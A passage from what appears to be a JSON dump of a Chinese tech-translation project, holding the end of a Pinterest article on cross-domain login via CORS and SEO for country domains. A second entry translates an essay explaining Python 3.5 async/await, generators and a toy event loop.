开放标准。我们会在用户每次访问 [www.pinterest.com.](http://www.pinterest.com) 时，取回后端返回的令牌并对其进行身份验证。\n\n随着 ccTLDs 的引入，我们需要支持对用户进行身份验证的功能，无论他们访问的是哪个域名。我们的解决方案是建立一个域名中心（accounts.pinterest.com）作为所有登录的唯一验证源。\n\n![](https://cdn-images-1.medium.com/max/800/0*xGzaLMrxl2YDvYf7.)\n\n简而言之，Pinterest ccTLDs 与域名中心通信以确定身份验证状态，并设置客户端 cookie 来提供镜像。下一节将描述这种通信，我们称之为 auth 握手。\n\n#### auth 握手\n\n握手的一般流程是：\n\n1.在注册或登录期间，将从访问域 (例如，[www.pinterest.abc)](http://www.pinterest.abc%29) 调用 API 以确定身份验证状态。\n2.如果用户登录了 accounts.plnterest.com,他们将自动登录 [www.pinterest.abc.](http://www.pinterest.abc)。\n3.如果用户没有登录 accounts.pintertst.com,我们将生成一个访问令牌，并在这两个域名上的 cookie 中设置它，这引导了域名中心的后续访问，因此可以进行第二步。 \n\n第一步中存在一个问题：同源策略规定“只有当两个网页同源时，一个网页上的脚本才可以访问另一个网页上的数据。”这是互联网安全的支柱，也是阻止恶意网站上 JavaScript 访问个人或敏感信息的手段。在 auth 握手情况下，由于域名不匹配（例如 pinterest**.com** 和 pinterest**.abc**），Pinterest ccTLDs 无法与 accounts.pinterest.com 通信。\n\n为了解决这个问题，我们使用了跨域资源共享（CORS），它为 web 服务器提供跨域访问控制，以支持数据跨域传输安全。这是通过在数据传输中向 HTTP 请求和响应添加 CORS 特定的（响应）头来完成的，并相应地处理它们。\n\n#### 在握手中使用 CORS\n\n我们通过使用 auth 握手在 [www.pinterest.de](http://www.pinterest.de) 上注册 Pinterest 的简化示例来完成这个过程。首先，客户端指定它要使用用户的凭据向 accounts.pinterest.com 提出跨域请求。此时浏览器会自动向请求中添加一个 Origin header，并指定当前域名。\n\n![](https://cdn-images-1.medium.com/max/800/0*-pGIuaxTVuwL0Ckm.)\n\n当请求到达服务器时，我们创建访问令牌，并在 accounts.pinterest.com 上进行用户身份验证。一旦用户登录，握手就会在响应中向客户端发回一个自定义令牌。此令牌可交换为 [www.pinterest.de](http://www.pinterest.de) 可用于身份验证的访问令牌。\n\n服务器跟踪所有 ccTLDs 用于身份验证的白名单。在返回响应之前，我们要检查 Origin request 报头值是否已经存在于白名单中。如果是这样，服务器将添加特殊的 CORS 响应报头。这些报头中最重要的是 Access-Control-Allow-Origin，该报头的存在将向客户端发出是否允许跨域传输的询问信息。\n\n![](https://cdn-images-1.medium.com/max/800/0*3AzyMrdmfwNNLXux.)\n\n当客户端接受到响应时，它会看到 Access-Control-Allow-Origin 的报头值“https://www.pinterest.de”。因为这和客户端同源，所以会继续处理响应。自定义令牌被检索并用于获取访问令牌，允许用户登录 [www.pinterest.de.](http://www.pinterest.de)。\n\n![](https://cdn-images-1.medium.com/max/800/0*p3ob8BR1Q6b4vY72.)\n\n您可以在[ Mozilla 官方文档](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS)中阅读到更多关于跨域资源共享和这些请求所涉及的所有抱头内容。\n\n#### 通过 SEO 提高可发现性\n\n一旦我们建立了新的本地域名，下一步就是帮助它们更容易被发现。引导通信量的最简单方法之一是实现对新域名的重定向。在适合情况下，我们使用永久性 (301) 重定向，从旧的现有国家子域名重定向到新的相关 ccTLDs (例如 de.pinterest.com → [www.pinterest.de).](http://www.pinterest.de%29)。使用永久性重定向允许我们将旧域名上的大部分网页排名和权限转移到新的域名中。\n\n我们还使用了一些间接方法来提高新的 ccTLDs 流量质量。Hreflangs 是可以包含在网页标记中的属性，用于告诉爬虫关于其不同语言版本的信息。当搜索引擎看到这个标记时，他们会根据搜索者的区域设置显示与本地相关的页面。我们还使用名为 sitemaps 的文件来帮助提高搜索引擎爬行站点的效率和速度。Sitemaps 是用来列出您网站的网页并告诉搜索引擎您的内容组织结构的文件。通过将这些文件直接提供给搜索机器人，它们可以更容易地找到新的内容来进行爬取和排序。\n\n### 结论\n\n到目前为止，我们已经观察到在我们推出的国家，流量有了积极的增长，点击率和浏览量也有所增加。在这个过程中，一个更有趣的发现是我们可以索引更多的页面，因为不同的顶级域名为搜索机器人打开了一个单独的“爬行预算”。\n\n展望未来，我们将继续在 ccTLDs 中为我们的国际内容投资，并正研究进一步增强 accounts.pinterest.com 作为所有 Pinterest 属性中心的认证中心。\n\n* * *\n\n![](https://cdn-images-1.medium.com/max/800/1*VS-SIyipZqIIfQYxAvva3A.png)\n\n**鸣谢： Devin Lundberg, Josh Enders, Sam Meder, Jess Males, Evan Jones, Jeff Avery, Grey Skold, Julie Trier, Vadim Antonov, Kynan Lalone, Evelyn Obamos 和 International 团队**\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/how-the-heck-does-async-await-work-in-python-3-5.md",
    "content": ">* 原文链接 : [How the heck does async/await work in Python 3.5?](http://www.snarky.ca/how-the-heck-does-async-await-work-in-python-3-5)\n* 原文作者 : [Brett Cannon](http://www.snarky.ca/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Yushneng](https://github.com/rainyear)\n* 校对者: [L9m](https://github.com/L9m)，[joyking7](https://github.com/joyking7)\n\n# Python3.5 协程原理 \n\n作为 [Python](https://www.python.org/) 核心开发者之一，让我很想了解这门语言是如何运作的。我发现总有一些阴暗的角落我对其中错综复杂的细节不是很清楚，但是为了能够有助于 Python 的一些问题和其整体设计，我觉得我应该试着去理解 Python 的核心语法和内部运作机制。\n\n但是直到最近我才理解[ Python 3.5 中 `async`/`await`](https://docs.python.org/3/whatsnew/3.5.html#whatsnew-pep-492) 的原理。我知道[ Python 3.3 中的 `yield from`](https://docs.python.org/3/whatsnew/3.3.html#pep-380) 和 [Python 3.4 中的 `asyncio`](https://docs.python.org/3/library/asyncio.html#module-asyncio) 组合得来这一新语法。但较少处理网络相关的问题 - `asyncio` 并不仅限于此但确是重要用途 - 使我没太注意 `async`/`await` 。我知道：\n\n    yield from iterator\n\n（本质上）相当于：\n\n\n    for x in iterator:\n        yield x\n\n我知道 `asyncio` 是事件循环框架可以进行异步编程，但是我只是知道这里面每个单词的意思而已，从没深入研究 `async`/`await` 语法组合背后的原理，我发现不理解 Python 中的异步编程已经对我造成了困扰。因此我决定花时间弄清楚这背后的原理究竟是什么。我从很多人那里得知他们也不了解异步编程的原理，因此我决定写这篇论文（是的，由于这篇文章花费时间之久以及篇幅之长，我的妻子已经将其定义为一篇论文）。\n\n由于我想要正确地理解这些语法的原理，这篇文章涉及到一些关于 CPython 较为底层的技术细节。如果这些细节超出了你想了解的内容，或者你不能完全理解它们，都没关系，因为我为了避免这篇文章演变成一本书那么长，省略了一些 CPython 内部的细枝末节（比如说，如果你不知道 code object 有 flags，甚至不知道什么是 code object，这都没关系，也不用一定要从这篇文字中获得什么）。我试着在最后一小节中用更直接的方法做了总结，如果觉得文章对你来说细节太多，你完全可以跳过。\n\n## 关于 Python 协程的历史课\n\n根据[维基百科](https://www.wikipedia.org/)给出的定义，“[协程](https://en.wikipedia.org/wiki/Coroutine) 是为非抢占式多任务产生子程序的计算机程序组件，协程允许不同入口点在不同位置暂停或开始执行程序”。从技术的角度来说，“协程就是你可以暂停执行的函数”。如果你把它理解成“就像生成器一样”，那么你就想对了。\n\n退回到 [Python 2.2](https://docs.python.org/3/whatsnew/2.2.html)，生成器第一次在[PEP 255](https://www.python.org/dev/peps/pep-0255/)中提出（那时也把它成为迭代器，因为它实现了[迭代器协议](https://docs.python.org/3/library/stdtypes.html#iterator-types)）。主要是受到[Icon编程语言](http://www.cs.arizona.edu/icon/)的启发，生成器允许创建一个在计算下一个值时不会浪费内存空间的迭代器。例如你想要自己实现一个 `range()` 函数，你可以用立即计算的方式创建一个整数列表：\n\n\n    def eager_range(up_to):\n        \"\"\"Create a list of integers, from 0 to up_to, exclusive.\"\"\"\n        sequence = []\n        index = 0\n        while index < up_to:\n            sequence.append(index)\n            index += 1\n        return sequence\n\n\n然而这里存在的问题是，如果你想创建从0到1,000,000这样一个很大的序列，你不得不创建能容纳1,000,000个整数的列表。但是当加入了生成器之后，你可以不用创建完整的序列，你只需要能够每次保存一个整数的内存即可。\n\n\n    def lazy_range(up_to):\n        \"\"\"Generator to return the sequence of integers from 0 to up_to, exclusive.\"\"\"\n        index = 0\n        while index < up_to:\n            yield index\n            index += 1\n\n\n让函数遇到 `yield` 表达式时暂停执行 - 虽然在 Python 2.5 以前它只是一条语句 - 并且能够在后面重新执行，这对于减少内存使用、生成无限序列非常有用。\n\n你有可能已经发现，生成器完全就是关于迭代器的。有一种更好的方式生成迭代器当然很好（尤其是当你可以给一个生成器对象添加 `__iter__()` 方法时），但是人们知道，如果可以利用生成器“暂停”的部分，添加“将东西发送回生成器”的功能，那么 Python 突然就有了协程的概念（当然这里的协程仅限于 Python 中的概念；Python 中真实的协程在后面才会讨论）。将东西发送回暂停了的生成器这一特性通过 [PEP 342](https://www.python.org/dev/peps/pep-0342/)添加到了 [Python 2.5](https://docs.python.org/3/whatsnew/2.5.html)。与其它特性一起，PEP 342 为生成器引入了 `send()` 方法。这让我们不仅可以暂停生成器，而且能够传递值到生成器暂停的地方。还是以我们的 `range()` 为例，你可以让序列向前或向后跳过几个值：\n\n\n    def jumping_range(up_to):\n        \"\"\"Generator for the sequence of integers from 0 to up_to, exclusive.\n\n        Sending a value into the generator will shift the sequence by that amount.\n        \"\"\"\n        index = 0\n        while index < up_to:\n            jump = yield index\n            if jump is None:\n                jump = 1\n            index += jump\n\n    if __name__ == '__main__':\n        iterator = jumping_range(5)\n        print(next(iterator))  # 0\n        print(iterator.send(2))  # 2\n        print(next(iterator))  # 3\n        print(iterator.send(-1))  # 2\n        for x in iterator:\n            print(x)  # 3, 4\n\n\n直到[PEP 380](https://www.python.org/dev/peps/pep-0380/) 为 [Python 3.3](https://docs.python.org/3/whatsnew/3.3.html) 添加了 `yield from`之前，生成器都没有变动。严格来说，这一特性让你能够从迭代器（生成器刚好也是迭代器）中返回任何值，从而可以干净利索的方式重构生成器。\n\n\n    def lazy_range(up_to):\n        \"\"\"Generator to return the sequence of integers from 0 to up_to, exclusive.\"\"\"\n        index = 0\n        def gratuitous_refactor():\n            while index < up_to:\n                yield index\n                index += 1\n        yield from gratuitous_refactor()\n\n\n`yield from` 通过让重构变得简单，也让你能够将生成器串联起来，使返回值可以在调用栈中上下浮动，而不需对编码进行过多改动。\n\n\n    def bottom():\n        # Returning the yield lets the value that goes up the call stack to come right back\n        # down.\n        return (yield 42)\n\n    def middle():\n        return (yield from bottom())\n\n    def top():\n        return (yield from middle())\n\n    # Get the generator.\n    gen = top()\n    value = next(gen)\n    print(value)  # Prints '42'.\n    try:\n        value = gen.send(value * 2)\n    except StopIteration as exc:\n        value = exc.value\n    print(value)  # Prints '84'.\n\n\n## 总结\n\nPython 2.2 中的生成器让代码执行过程可以暂停。Python 2.5 中可以将值返回给暂停的生成器，这使得 Python 中协程的概念成为可能。加上 Python 3.3 中的 `yield from`，使得重构生成器与将它们串联起来都很简单。\n\n## 什么是事件循环？\n\n如果你想了解 `async`/`await`，那么理解什么是事件循环以及它是如何让异步编程变为可能就相当重要了。如果你曾做过 GUI 编程 - 包括网页前端工作 - 那么你已经和事件循环打过交道。但是由于异步编程的概念作为 Python 语言结构的一部分还是最近才有的事，你刚好不知道什么是事件循环也很正常。\n\n回到维基百科，[事件循环](https://en.wikipedia.org/wiki/Event_loop) “是一种等待程序分配事件或消息的编程架构”。基本上来说事件循环就是，“当A发生时，执行B”。或许最简单的例子来解释这一概念就是用每个浏览器中都存在的JavaScript事件循环。当你点击了某个东西（“当A发生时”），这一点击动作会发送给JavaScript的事件循环，并检查是否存在注册过的 `onclick` 回调来处理这一点击（“执行B”）。只要有注册过的回调函数就会伴随点击动作的细节信息被执行。事件循环被认为是一种循环是因为它不停地收集事件并通过循环来发如何应对这些事件。\n\n对 Python 来说，用来提供事件循环的 `asyncio` 被加入标准库中。`asyncio` 重点解决网络服务中的问题，事件循环在这里将来自套接字（socket）的 I/O 已经准备好读和/或写作为“当A发生时”（通过[`selectors`模块](https://docs.python.org/3/library/selectors.html#module-selectors)）。除了 GUI 和 I/O，事件循环也经常用于在别的线程或子进程中执行代码，并将事件循环作为调节机制（例如，[合作式多任务](https://en.wikipedia.org/wiki/Cooperative_multitasking)）。如果你恰好理解 Python 的 GIL，事件循环对于需要释放 GIL 的地方很有用。\n\n## 总结\n\n事件循环提供一种循环机制，让你可以“在A发生时，执行B”。基本上来说事件循环就是监听当有什么发生时，同时事件循环也关心这件事并执行相应的代码。Python 3.4 以后通过标准库 `asyncio` 获得了事件循环的特性。\n\n## `async` 和 `await` 是如何运作的\n\n## Python 3.4 中的方式\n\n在 Python 3.3 中出现的生成器与之后以 `asyncio` 的形式出现的事件循环之间，Python 3.4 通过[并发编程](https://en.wikipedia.org/wiki/Concurrent_computing)的形式已经对异步编程有了足够的支持。_异步编程_简单来说就是代码执行的顺序在程序运行前是未知的（因此才称为异步而非同步）。_并发编程_是代码的执行不依赖于其他部分，即便是全都在同一个线程内执行（[并发**不是**并行](http://blog.golang.org/concurrency-is-not-parallelism)）。例如，下面 Python 3.4 的代码分别以异步和并发的函数调用实现按秒倒计时。\n\n\n    import asyncio\n\n    # Borrowed from http://curio.readthedocs.org/en/latest/tutorial.html.\n    @asyncio.coroutine\n    def countdown(number, n):\n        while n > 0:\n            print('T-minus', n, '({})'.format(number))\n            yield from asyncio.sleep(1)\n            n -= 1\n\n    loop = asyncio.get_event_loop()\n    tasks = [\n        asyncio.ensure_future(countdown(\"A\", 2)),\n        asyncio.ensure_future(countdown(\"B\", 3))]\n    loop.run_until_complete(asyncio.wait(tasks))\n    loop.close()\n\n\nPython 3.4 中，[`asyncio.coroutine` 修饰器](https://docs.python.org/3/library/asyncio-task.html#asyncio.coroutine)用来标记作为[协程](https://docs.python.org/3/reference/datamodel.html?#coroutine-objects)的函数，这里的协程是和`asyncio`及其事件循环一起使用的。这赋予了 Python 第一个对于协程的明确定义：实现了[PEP 342](https://www.python.org/dev/peps/pep-0342/)添加到生成器中的这一方法的对象，并通过[`collections.abc.Coroutine`这一抽象基类]表征的对象。这意味着突然之间所有实现了协程接口的生成器，即便它们并不是要以协程方式应用，都符合这一定义。为了修正这一点，`asyncio` 要求所有要用作协程的生成器必须[由`asyncio.coroutine`修饰](https://docs.python.org/3/library/asyncio-task.html#asyncio.coroutine)。\n\n有了对协程明确的定义（能够匹配生成器所提供的API），你可以对任何[`asyncio.Future`对象](https://docs.python.org/3/library/asyncio-task.html#future)使用 `yield from`，从而将其传递给事件循环，暂停协程的执行来等待某些事情的发生（ future 对象并不重要，只是`asyncio`细节的实现）。一旦 future 对象获取了事件循环，它会一直在那里监听，直到完成它需要做的一切。当 future 完成自己的任务之后，事件循环会察觉到，暂停并等待在那里的协程会通过`send()`方法获取future对象的返回值并开始继续执行。\n\n以上面的代码为例。事件循环启动每一个 `countdown()` 协程，一直执行到遇见其中一个协程的 `yield from` 和 `asyncio.sleep()` 。这样会返回一个 `asyncio.Future`对象并将其传递给事件循环，同时暂停这一协程的执行。事件循环会监控这一future对象，直到倒计时1秒钟之后（同时也会检查其它正在监控的对象，比如像其它协程）。1秒钟的时间一到，事件循环会选择刚刚传递了future对象并暂停了的 `countdown()` 协程，将future对象的结果返回给协程，然后协程可以继续执行。这一过程会一直持续到所有的  `countdown()` 协程执行完毕，事件循环也被清空。稍后我会给你展示一个完整的例子，用来说明协程/事件循环之类的这些东西究竟是如何运作的，但是首先我想要解释一下`async`和`await`。\n\n## Python 3.5 从 `yield from` 到 `await`\n\n在 Python 3.4 中，用于异步编程并被标记为协程的函数看起来是这样的：\n\n\n    # This also works in Python 3.5.\n    @asyncio.coroutine\n    def py34_coro():\n        yield from stuff()\n\n\n Python 3.5 添加了[`types.coroutine` 修饰器](https://docs.python.org/3/library/types.html#types.coroutine)，也可以像 `asyncio.coroutine` 一样将生成器标记为协程。你可以用 `async def` 来定义一个协程函数，虽然这个函数不能包含任何形式的 `yield` 语句；只有 `return` 和 `await` 可以从协程中返回值。\n\n\n    async def py35_coro():\n        await stuff()\n\n\n虽然 `async` 和 `types.coroutine` 的关键作用在于巩固了协程的定义，但是它将协程从一个简单的接口变成了一个实际的类型，也使得一个普通生成器和用作协程的生成器之间的差别变得更加明确（[`inspect.iscoroutine()` 函数](https://docs.python.org/3/library/inspect.html#inspect.iscoroutine) 甚至明确规定必须使用 `async` 的方式定义才行）。\n\n你将发现不仅仅是 `async`，Python 3.5 还引入 `await` 表达式（只能用于`async def`中）。虽然`await`的使用和`yield from`很像，但`await`可以接受的对象却是不同的。`await` 当然可以接受协程，因为协程的概念是所有这一切的基础。但是当你使用 `await` 时，其接受的对象必须是[_awaitable_ 对象](https://docs.python.org/3/reference/datamodel.html?#awaitable-objects)：必须是定义了`__await__()`方法且这一方法必须返回一个**不是**协程的迭代器。协程本身也被认为是 awaitable 对象（这也是`collections.abc.Coroutine` 继承 `collections.abc.Awaitable`的原因）。这一定义遵循 Python 将大部分语法结构在底层转化成方法调用的传统，就像 `a + b` 实际上是`a.__add__(b)` 或者 `b.__radd__(a)`。\n\n`yield from` 和 `await` 在底层的差别是什么（也就是`types.coroutine`与`async def`的差别）？让我们看一下上面两则Python 3.5代码的例子所产生的字节码在本质上有何差异。`py34_coro()`的字节码是：\n\n\n    >>> dis.dis(py34_coro)\n      2           0 LOAD_GLOBAL              0 (stuff)\n                  3 CALL_FUNCTION            0 (0 positional, 0 keyword pair)\n                  6 GET_YIELD_FROM_ITER\n                  7 LOAD_CONST               0 (None)\n                 10 YIELD_FROM\n                 11 POP_TOP\n                 12 LOAD_CONST               0 (None)\n                 15 RETURN_VALUE\n\n\n`py35_coro()`的字节码是：\n\n\n    >>> dis.dis(py35_coro)\n      1           0 LOAD_GLOBAL              0 (stuff)\n                  3 CALL_FUNCTION            0 (0 positional, 0 keyword pair)\n                  6 GET_AWAITABLE\n                  7 LOAD_CONST               0 (None)\n                 10 YIELD_FROM\n                 11 POP_TOP\n                 12 LOAD_CONST               0 (None)\n                 15 RETURN_VALUE\n\n\n忽略由于`py34_coro()`的`asyncio.coroutine` 修饰器所带来的行号的差别，两者之间唯一可见的差异是[`GET_YIELD_FROM_ITER`操作码](https://docs.python.org/3/library/dis.html#opcode-GET_YIELD_FROM_ITER) 对比[`GET_AWAITABLE`操作码](https://docs.python.org/3/library/dis.html#opcode-GET_AWAITABLE)。两个函数都被标记为协程，因此在这里没有差别。`GET_YIELD_FROM_ITER` 只是检查参数是生成器还是协程，否则将对其参数调用`iter()`方法（只有用在协程内部的时候`yield from`所对应的操作码才可以接受协程对象，在这个例子里要感谢`types.coroutine`修饰符将这个生成器在C语言层面标记为`CO_ITERABLE_COROUTINE`）。\n\n但是 `GET_AWAITABLE`的做法不同，其字节码像`GET_YIELD_FROM_ITER`一样接受协程，但是**不**接受没有被标记为协程的生成器。就像前面讨论过的一样，除了协程以外，这一字节码还可以接受_awaitable_对象。这使得`yield from`和`await`表达式都接受协程但分别接受一般的生成器和awaitable对象。\n\n你可能会想，为什么基于`async`的协程和基于生成器的协程会在对应的暂停表达式上面有所不同？主要原因是出于最优化Python性能的考虑，确保你不会将刚好有同样API的不同对象混为一谈。由于生成器默认实现协程的API，因此很有可能在你希望用协程的时候错用了一个生成器。而由于并不是所有的生成器都可以用在基于协程的控制流中，你需要避免错误地使用生成器。但是由于 Python 并不是静态编译的，它最好也只能在用基于生成器定义的协程时提供运行时检查。这意味着当用`types.coroutine`时，Python 的编译器将无法判断这个生成器是用作协程还是仅仅是普通的生成器（记住，仅仅因为`types.coroutine`这一语法的字面意思，并不意味着在此之前没有人做过`types = spam`的操作），因此编译器只能基于当前的情况生成有着不同限制的操作码。\n\n关于基于生成器的协程和`async`定义的协程之间的差异，我想说明的关键点是只有基于生成器的协程可以真正的暂停执行并强制性返回给事件循环。你可能不了解这些重要的细节，因为通常你调用的像是[`asyncio.sleep()` function](https://docs.python.org/3/library/asyncio-task.html#asyncio.sleep) 这种事件循环相关的函数，由于事件循环实现他们自己的API，而这些函数会处理这些小的细节。对于我们绝大多数人来说，我们只会跟事件循环打交道，而不需要处理这些细节，因此可以只用`async`定义的协程。但是如果你和我一样好奇为什么不能在`async`定义的协程中使用`asyncio.sleep()`，那么这里的解释应该可以让你顿悟。\n\n### 总结\n\n让我们用简单的话来总结一下。用`async def`可以定义得到_协程_。定义协程的另一种方式是通过`types.coroutine`修饰器 -- 从技术实现的角度来说就是添加了 `CO_ITERABLE_COROUTINE`标记 -- 或者是`collections.abc.Coroutine`的子类。你只能通过基于生成器的定义来实现协程的暂停。\n\n_awaitable 对象_要么是一个协程要么是一个定义了`__await__()`方法的对象 -- 也就是`collections.abc.Awaitable` -- 且`__await__()`必须返回一个不是协程的迭代器。`await`表达式基本上与`yield from`相同但只能接受awaitable对象（普通迭代器不行）。`async`定义的函数要么包含`return`语句 -- 包括所有Python函数缺省的`return None` -- 和/或者 `await`表达式（`yield`表达式不行）。`async`函数的限制确保你不会将基于生成器的协程与普通的生成器混合使用，因为对这两种生成器的期望是非常不同的。\n\n## 将 `async`/`await` 看做异步编程的 API\n\n我想要重点指出的地方实际上在我看[David Beazley's Python Brasil 2015 keynote](https://www.youtube.com/watch?v=lYe8W04ERnY)之前还没有深入思考过。在他的演讲中，David 指出 `async`/`await` 实际上是异步编程的 API （[他在 Twitter 上向我重申过](https://twitter.com/dabeaz/status/696028946220056576)）。David 的意思是人们不应该将`async`/`await`等同于`asyncio`，而应该将`asyncio`看作是一个利用`async`/`await` API 进行异步编程的框架。\n\nDavid 将 `async`/`await` 看作是异步编程的API创建了 [`curio` 项目](https://pypi.python.org/pypi/curio)来实现他自己的事件循环。这帮助我弄清楚 `async`/`await` 是 Python 创建异步编程的原料，同时又不会将你束缚在特定的事件循环中也无需与底层的细节打交道（不像其他编程语言将事件循环直接整合到语言中）。这允许像 `curio` 一样的项目不仅可以在较低层面上拥有不同的操作方式（例如 `asyncio` 利用 future 对象作为与事件循环交流的 API，而 `curio` 用的是元组），同时也可以集中解决不同的问题，实现不同的性能特性（例如 `asyncio` 拥有一整套框架来实现运输层和协议层，从而使其变得可扩展，而 `curio` 只是简单地让用户来考虑这些但同时也让它运行地更快）。\n\n考虑到 Python 异步编程的（短暂）历史，可以理解人们会误认为 `async`/`await` == `asyncio`。我是说`asyncio`帮助我们可以在 Python 3.4 中实现异步编程，同时也是 Python 3.5 中引入`async`/`await`的推动因素。但是`async`/`await` 的设计意图就是为了让其足够灵活从而**不需要**依赖`asyncio`或者仅仅是为了适应这一框架而扭曲关键的设计决策。换句话说，`async`/`await` 延续了 Python 设计尽可能灵活的传统同时又非常易于使用（实现）。\n\n## 一个例子\n\n到这里你的大脑可能已经灌满了新的术语和概念，导致你想要从整体上把握所有这些东西是如何让你可以实现异步编程的稍微有些困难。为了帮助你让这一切更加具体化，这里有一个完整的（伪造的）异步编程的例子，将代码与事件循环及其相关的函数一一对应起来。这个例子里包含的几个协程，代表着火箭发射的倒计时，并且看起来是同时开始的。这是通过并发实现的异步编程；3个不同的协程将分别独立运行，并且都在同一个线程内完成。\n\n\n    import datetime\n    import heapq\n    import types\n    import time\n\n    class Task:\n\n        \"\"\"Represent how long a coroutine should before starting again.\n\n        Comparison operators are implemented for use by heapq. Two-item\n        tuples unfortunately don't work because when the datetime.datetime\n        instances are equal, comparison falls to the coroutine and they don't\n        implement comparison methods, triggering an exception.\n\n        Think of this as being like asyncio.Task/curio.Task.\n        \"\"\"\n\n        def __init__(self, wait_until, coro):\n            self.coro = coro\n            self.waiting_until = wait_until\n\n        def __eq__(self, other):\n            return self.waiting_until == other.waiting_until\n\n        def __lt__(self, other):\n            return self.waiting_until < other.waiting_until\n\n    class SleepingLoop:\n\n        \"\"\"An event loop focused on delaying execution of coroutines.\n\n        Think of this as being like asyncio.BaseEventLoop/curio.Kernel.\n        \"\"\"\n\n        def __init__(self, *coros):\n            self._new = coros\n            self._waiting = []\n\n        def run_until_complete(self):\n            # Start all the coroutines.\n            for coro in self._new:\n                wait_for = coro.send(None)\n                heapq.heappush(self._waiting, Task(wait_for, coro))\n            # Keep running until there is no more work to do.\n            while self._waiting:\n                now = datetime.datetime.now()\n                # Get the coroutine with the soonest resumption time.\n                task = heapq.heappop(self._waiting)\n                if now < task.waiting_until:\n                    # We're ahead of schedule; wait until it's time to resume.\n                    delta = task.waiting_until - now\n                    time.sleep(delta.total_seconds())\n                    now = datetime.datetime.now()\n                try:\n                    # It's time to resume the coroutine.\n                    wait_until = task.coro.send(now)\n                    heapq.heappush(self._waiting, Task(wait_until, task.coro))\n                except StopIteration:\n                    # The coroutine is done.\n                    pass\n\n    @types.coroutine\n    def sleep(seconds):\n        \"\"\"Pause a coroutine for the specified number of seconds.\n\n        Think of this as being like asyncio.sleep()/curio.sleep().\n        \"\"\"\n        now = datetime.datetime.now()\n        wait_until = now + datetime.timedelta(seconds=seconds)\n        # Make all coroutines on the call stack pause; the need to use `yield`\n        # necessitates this be generator-based and not an async-based coroutine.\n        actual = yield wait_until\n        # Resume the execution stack, sending back how long we actually waited.\n        return actual - now\n\n    async def countdown(label, length, *, delay=0):\n        \"\"\"Countdown a launch for `length` seconds, waiting `delay` seconds.\n\n        This is what a user would typically write.\n        \"\"\"\n        print(label, 'waiting', delay, 'seconds before starting countdown')\n        delta = await sleep(delay)\n        print(label, 'starting after waiting', delta)\n        while length:\n            print(label, 'T-minus', length)\n            waited = await sleep(1)\n            length -= 1\n        print(label, 'lift-off!')\n\n    def main():\n        \"\"\"Start the event loop, counting down 3 separate launches.\n\n        This is what a user would typically write.\n        \"\"\"\n        loop = SleepingLoop(countdown('A', 5), countdown('B', 3, delay=2),\n                            countdown('C', 4, delay=1))\n        start = datetime.datetime.now()\n        loop.run_until_complete()\n        print('Total elapsed time is', datetime.datetime.now() - start)\n\n    if __name__ == '__main__':\n        main()\n\n\n就像我说的，这是伪造出来的，但是如果你用 Python 3.5 去运行，你会发现这三个协程在同一个线程内独立运行，并且总的运行时间大约是5秒钟。你可以将`Task`，`SleepingLoop`和`sleep()`看作是事件循环的提供者，就像`asyncio`和`curio`所提供给你的一样。对于一般的用户来说，只有`countdown()`和`main()`函数中的代码才是重要的。正如你所见，`async`和`await`或者是这整个异步编程的过程并没什么黑科技；只不过是 Python 提供给你帮助你更简单地实现这类事情的API。\n\n## 我对未来的希望和梦想\n\n现在我理解了 Python 中的异步编程是如何运作的了，我想要一直用它！这是如此绝妙的概念，比你之前用过的线程好太多了。但是问题在于 Python 3.5 还太新了，`async`/`await`也太新了。这意味着还没有太多库支持这样的异步编程。例如，为了实现 HTTP 请求你要么不得不自己徒手构建 ，要么用像是 [`aiohttp` 之类的框架](https://pypi.python.org/pypi/aiohttp) 将 HTTP 添加在另外一个事件循环的顶端，或者寄希望于更多像[`hyper` 库](https://pypi.python.org/pypi/hyper)一样的项目不停涌现，可以提供对于 HTTP 之类的抽象，可以让你随便用任何 I/O 库 来实现你的需求（虽然可惜的是 `hyper`目前只支持 HTTP/2）。\n\n对于我个人来说，我希望更多像`hyper`一样的项目可以脱颖而出，这样我们就可以在从 I/O中读取与解读二进制数据之间做出明确区分。这样的抽象非常重要，因为Python多数 I/O 库中处理 I/O 和处理数据是紧紧耦合在一起的。[Python 的标准库 `http`](https://docs.python.org/3/library/http.html#module-http)就有这样的问题，它不提供 HTTP解析而只有一个连接对象为你处理所有的 I/O。而如果你寄希望于`requests`可以支持异步编程，[那你的希望已经破灭了](https://github.com/kennethreitz/requests/issues/2801)，因为 `requests` 的同步 I/O 已经烙进它的设计中了。Python 在网络堆栈上很多层都缺少抽象定义，异步编程能力的改进使得 Python 社区有机会对此作出修复。我们可以很方便地让异步代码像同步一样执行，这样一些填补异步编程空白的工具可以安全地运行在两种环境中。\n\n我希望 Python 可以让 `async` 协程支持 `yield`。或者需要用一个新的关键词来实现（可能像 `anticipate`之类？），因为不能仅靠`async`就实现事件循环让我很困扰。幸运的是，[我不是唯一一个这么想的人](https://twitter.com/dabeaz/status/696014754557464576)，而且[PEP 492](https://www.python.org/dev/peps/pep-0492/)的作者也和我意见一致，我觉得还是有机会可以移除掉这点小瑕疵。\n\n## 结论\n\n基本上 `async` 和 `await` 产生神奇的生成器，我们称之为协程，同时需要一些额外的支持例如 awaitable 对象以及将普通生成器转化为协程。所有这些加到一起来支持并发，这样才使得 Python 更好地支持异步编程。相比类似功能的线程，这是一个更妙也更简单的方法。我写了一个完整的异步编程例子，算上注释只用了不到100行 Python 代码 -- 但仍然非常灵活与快速（[curio FAQ](http://curio.readthedocs.org/en/latest/#questions-and-answers) 指出它比 `twisted` 要快 30-40%，但是要比 `gevent` 慢 10-15%，而且全部都是有纯粹的 Python 实现的；记住[Python 2 + Twisted 内存消耗更少同时比Go更容易调试](https://news.ycombinator.com/item?id=10402307)，想象一下这些能帮你实现什么吧！）。我非常高兴这些能够在 Python 3 中成为现实，我也非常期待 